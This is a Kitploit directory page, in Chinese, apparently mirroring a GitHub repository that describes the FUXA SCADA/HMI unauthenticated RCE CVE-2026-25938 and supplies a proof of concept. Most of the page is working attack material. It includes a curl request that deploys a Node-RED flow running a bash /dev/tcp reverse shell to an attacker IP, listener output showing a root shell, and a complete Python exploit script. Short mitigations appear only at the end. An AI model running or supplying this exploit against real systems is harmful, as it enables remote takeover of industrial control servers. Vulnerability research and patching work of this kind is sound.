Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-25938-FUXA-Unauthenticated-RCE — 关于在 FUXA 上利用 CVE-2026-25938 未认证 RCE 漏洞的说明与 PoC | Kitploit
工具/GitHubGitHub/judgedbykira/cve-2026-25938-fuxa-unauthenticated-rce
物联网安全漏洞分析漏洞利用SCADA/ICS安全Web应用程序漏洞利用Web安全渗透测试红队Payload 开发

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
GitHubjudgedbykira/cve-2026-25938-fuxa-unauthenticated-rce

CVE-2026-25938-FUXA-Unauthenticated-RCE

关于在 FUXA 上利用 CVE-2026-25938 未认证 RCE 漏洞的说明与 PoC

查看仓库
1828天前尚未审核

CVE-2026-25938 - FUXA 未认证远程代码执行

1. 什么是 FUXA?

FUXA 是一个免费、开源的基于 Web 的 SCADA(监控与数据采集)和 HMI(人机界面)平台,用于工业自动化、IoT 和实时过程可视化。它使用户能够直接在 Web 浏览器中构建自定义仪表板并监控机器,无需昂贵的专有软件或笨重的桌面编辑器。

2. 漏洞说明

CVE-2026-25938 影响 FUXA 的 1.2.8 至 1.2.10 版本,前提是 Node-RED 集成功能已启用(默认启用)。该漏洞源于对暴露 Node-RED 功能的功能身份验证执行不足,允许未认证的远程攻击者访问本应需要授权的操作,例如创建流程,其中一种流程能够在系统上执行命令。由于 Node-RED 可以以 FUXA 进程的权限执行流程,因此这种身份验证绕过最终可能导致在底层服务器上执行任意远程代码。该问题已在 FUXA 1.2.11 及更高版本中得到解决。

CWEs

  • CWE-306 — 关键功能缺少身份验证
  • CWE-290 — 通过欺骗绕过身份验证

TTPs

  • T1190 – 利用面向公众的应用程序
  • T1059 – 命令和脚本解释器

3. 实验环境搭建

我们将使用一个存在漏洞的 FUXA 版本运行 Docker 容器,本例使用 1.2.8 版本:

root@kitploit:~
docker run -d -p 1881:1881 --name fuxa-1.2.8 frangoteam/fuxa:1.2.8

4. 概念验证

以下 payload 将利用该漏洞,向 exec 节点中指定的 IP 地址发起一个反向 shell:

  • tab 节点将创建一个名为 “RCE” 的流程。
  • inject 节点将在部署时自动触发,这一切都归功于 "once": true 和 "onceDelay": 0.1 这两个参数。
  • exec 节点将执行我们想要执行的命令,本例中为反向 shell。该命令在 "command": "bash <snip>" 中指定。
root@kitploit:~
curl -X POST http://<IP_ADDRESS>:1881/nodered/flows \
  -H "Content-Type: application/json" \
  -H "Node-RED-Deployment-Type: full" \
  -H "Referer: http://192.168.1.201:1881/editor" \
  -d '[
    {
      "id": "tab1",
      "type": "tab",
      "label": "RCE",
      "disabled": false,
      "info": ""
    },
    {
      "id": "inject1",
      "type": "inject",
      "z": "tab1",
      "name": "",
      "props": [{"p": "payload"}],
      "repeat": "",
      "crontab": "",
      "once": true,
      "onceDelay": 0.1,
      "topic": "",
      "payload": "",
      "payloadType": "date",
      "x": 150,
      "y": 100,
      "wires": [["exec1"]]
    },
    {
      "id": "exec1",
      "type": "exec",
      "z": "tab1",
      "command": "bash -i >& /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1",
      "addpay": "",
      "append": "",
      "useSpawn": "false",
      "timer": "",
      "winHide": false,
      "oldrc": false,
      "name": "",
      "x": 350,
      "y": 100,
      "wires": [["debug1"], [], []]
    }
  ]'

如果我们为反向 shell 创建一个监听器,发送 payload 后将收到一个带有 root shell 的连接:

root@kitploit:~
┌──(kali㉿jbkira)-[~]
└─$ nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.1.36] from (UNKNOWN) [192.168.1.201] 59546
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@887eaf642fc4:/usr/src/app/FUXA/server#

5. 自动化 PoC 脚本

root@kitploit:~
#!/usr/bin/env python3
import argparse
import requests
import sys
import json

# Color codes for terminal output
GREEN = "\033[92m"
RED = "\033[91m"
YELLOW = "\033[93m"
ORANGE = "\033[33m"
BLUE = "\033[94m"
RESET = "\033[0m"

def exploit(target_url, listener_ip, listener_port):
    # Extract host:port from URL for Referer
    target_host = target_url.split("//")[1].split("/")[0]
    
    # Build the full endpoint
    if not target_url.endswith("/"):
        target_url += "/"
    endpoint = f"{target_url}nodered/flows"

    # Payload for the exploit
    payload = [
        {
            "id": "tab1",
            "type": "tab",
            "label": "RCE",
            "disabled": False,
            "info": ""
        },
        {
            "id": "inject1",
            "type": "inject",
            "z": "tab1",
            "name": "",
            "props": [{"p": "payload"}],
            "repeat": "",
            "crontab": "",
            "once": True,
            "onceDelay": 0.1,
            "topic": "",
            "payload": "",
            "payloadType": "date",
            "x": 150,
            "y": 100,
            "wires": [["exec1"]]
        },
        {
            "id": "exec1",
            "type": "exec",
            "z": "tab1",
            "command": f"bash -i >& /dev/tcp/{listener_ip}/{listener_port} 0>&1",
            "addpay": "",
            "append": "",
            "useSpawn": "false",
            "timer": "",
            "winHide": False,
            "oldrc": False,
            "name": "",
            "x": 350,
            "y": 100,
            "wires": [["debug1"], [], []]
        }
    ]

    headers = {
        "Content-Type": "application/json",
        "Referer": f"http://{target_host}/editor"
    }

    try:
        response = requests.post(endpoint, json=payload, headers=headers, timeout=10)
        if response.status_code == 200 or response.status_code == 204:
            print(f"{GREEN}[+] Exploit successful! Check your listener for a reverse shell. ;){RESET}")
        else:
            print(f"{RED}[-] Exploit failed. Status Code: {response.status_code}{RESET}")
    except requests.exceptions.RequestException as e:
        print(f"{RED}[-] Error occurred: {e}{RESET}")

def argparse_setup():
    parser = argparse.ArgumentParser(description="Exploit for FUXA Unauthenticated RCE (CVE-2026-25938) created by JBKira")
    parser.add_argument("-u", "--url", help="Target URL (e.g., http://targetIP:1881/)", required=True)
    parser.add_argument("-l", "--listener-ip", help="Your listener IP for reverse shell", required=True)
    parser.add_argument("-lp", "--listener-port", type=int, default=443, help="Port for reverse shell (default: 443)")
    return parser.parse_args()

def banner():
    print(f"{YELLOW}")
    print(r"""
     _____ _   _ _____       _____  _____  _____   ____        _____  _____  _____  _____ _____ 
    /  __ \ | | |  ___|     / __  \|  _  |/ __  \ / ___|      / __  \|  ___||  _  ||____ |  _  |
    | /  \/ | | | |__ ______`' / /'| |/' |`' / /'/ /___ ______`' / /'|___ \ | |_| |    / /\ V / 
    | |   | | | |  __|______| / /  |  /| |  / /  | ___ \______| / /      \ \\____ |    \ \/ _ \ 
    | \__/\ \_/ / |___      ./ /___\ |_/ /./ /___| \_/ |      ./ /___/\__/ /.___/ /.___/ / |_| |
    \____/\___/\____/      \_____/ \___/ \_____/\_____/      \_____/\____/ \____/ \____/\_____/
                                                                                                                                                                           
    """)
    print(f"CVE-2026-25938 Exploit for FUXA NODE-RED Unauthenticated RCE created by JBKira{RESET}")
    print(f"{ORANGE}github.com/judgedbykira{RESET} | {BLUE}linkedin.com/in/yeray-medina{RESET}")
    print(f"Only use this in real penetration tests or lab environments. Unauthorized use is illegal.\n")

def main():
    args = argparse_setup()
    banner()
    exploit(args.url, args.listener_ip, args.listener_port)

if __name__ == "__main__":
    main()

6. 缓解措施

如果可能,请升级到 1.2.11 或更高版本,该漏洞已在 1.2.11 版本中修复。

如果无法升级,可以采取以下措施:

1. Apache .htaccess

如果将 Apache 作为应用的入口点。如果由于 NAT、Docker 代理等原因导致 Apache 无法看到客户端 IP,则此方法无效。

root@kitploit:~
<LocationMatch "^/nodered/">
    Require ip 127.0.0.1
    Require ip ::1
    Require ip <TRUSTED_MGMT_CIDR>
</LocationMatch>

2. NGINX

如果将 NGINX 作为应用的入口点。如果由于 NAT、Docker 代理等原因导致 NGINX 无法看到客户端 IP,则此方法无效。

root@kitploit:~
location /nodered/ {
    allow 127.0.0.1;
    allow ::1;
    allow <TRUSTED_MGMT_CIDR>;
    deny all;
}
下载工具